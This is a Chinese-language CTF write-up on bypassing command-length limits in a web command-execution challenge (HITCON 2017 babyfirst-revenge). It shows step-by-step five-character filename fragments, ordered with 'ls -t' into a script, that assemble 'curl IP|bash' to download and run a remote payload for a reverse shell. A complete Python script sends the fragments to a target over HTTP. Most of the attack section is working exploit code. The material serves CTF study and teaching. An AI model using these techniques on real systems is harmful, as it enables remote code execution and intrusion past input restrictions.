从一道ctf题目学到的绕过长度执行命令姿势
字数 782 2025-08-27 12:33:31
绕过长度限制执行命令的技巧与实战
0x01 Linux中的文件操作符号
> 符号
- 用于创建文件或覆盖写入内容
>test.txt # 创建空文件test.txt
echo "hello world" > test # 将"hello world"写入test文件(覆盖原有内容)
>> 符号
- 用于追加内容到文件末尾
echo "aaa" > test
echo "bbb" >> test # 在test文件末尾追加"bbb"
0x02 Linux命令换行技巧
在Linux中,可以使用反斜杠\将一条命令分成多行书写:
ec\
ho \
hello \
world!
当使用sh执行包含这种格式的文件时,会将其视为一条完整命令执行。
0x03 ls -t命令的特殊用途
ls -t命令可以按时间顺序列出文件,最新创建的文件排在前面:
touch a
touch b
touch c
ls -t # 输出顺序为c b a(假设按此顺序创建)
0x04 组合技巧绕过长度限制
核心思路
- 将长命令拆分为多个短命令片段
- 将这些片段作为文件名创建文件
- 使用
ls -t > script按时间顺序将文件名写入脚本文件 - 执行生成的脚本文件
示例:执行echo hello world
> "rld"
> "wo\\"
> "llo \\"
> "he\\"
> "echo \\"
ls -t > _ # 生成脚本文件
sh _ # 执行脚本
注意:需要使用两个反斜杠\\来正确转义换行符。
0x05 CTF实战应用 - HITCON 2017 babyfirst-revenge
题目限制
- 命令长度限制为5个字符
- 需要反弹shell但直接构造命令过长
解决方案
- 将反弹shell命令放在远程服务器上
- 构造
curl IP|bash命令来获取并执行
分步构造
第一步:生成ls -t > y脚本
>ls\\
ls>t\\
>\>y
ls>>_
第二步:构造curl 120.79.33.253|bash
>bash
>\|\\
>53\\
>2\\
>3.\\
>3\\
>9.\\
>7\\
>0.\\
>12\\
>\ \\
>rl\\
>cu\\
执行流程
- 执行
sh _生成文件y - 执行
sh y获取并执行远程命令
Python自动化脚本
import requests
baseurl = "http://120.79.33.253:9003/?cmd="
reset = "http://120.79.33.253:9003/?reset"
s = requests.session()
s.get(reset)
# 将ls -t 写入文件
_list = [
">ls\\",
"ls>t\\",
">\>y",
"ls>>_"
]
# curl 120.79.33.253|bash
list2 = [
">bash",
">\|\\",
">53\\",
">2\\",
">3.\\",
">3\\",
">9.\\",
">7\\",
">0.\\",
">12\\",
">\ \\",
">rl\\",
">cu\\"
]
for i in _list:
url = baseurl + str(i)
s.get(url)
for j in list2:
url = baseurl + str(j)
s.get(url)
s.get(baseurl + "sh _") # 生成y文件
s.get(baseurl + "sh y") # 执行反弹shell
关键点总结
- 文件操作符号:
>和>>的区别及使用场景 - 命令换行:使用
\实现多行命令书写 - 时间排序:
ls -t按时间顺序排列文件的特性 - 组合技巧:通过创建特定文件名并排序生成可执行脚本
- 转义处理:使用双反斜杠
\\正确转义换行符 - 实战应用:在CTF中通过分阶段构造最终实现命令执行
这些技巧在命令长度受限的环境中特别有用,可以绕过严格的长度限制执行任意命令。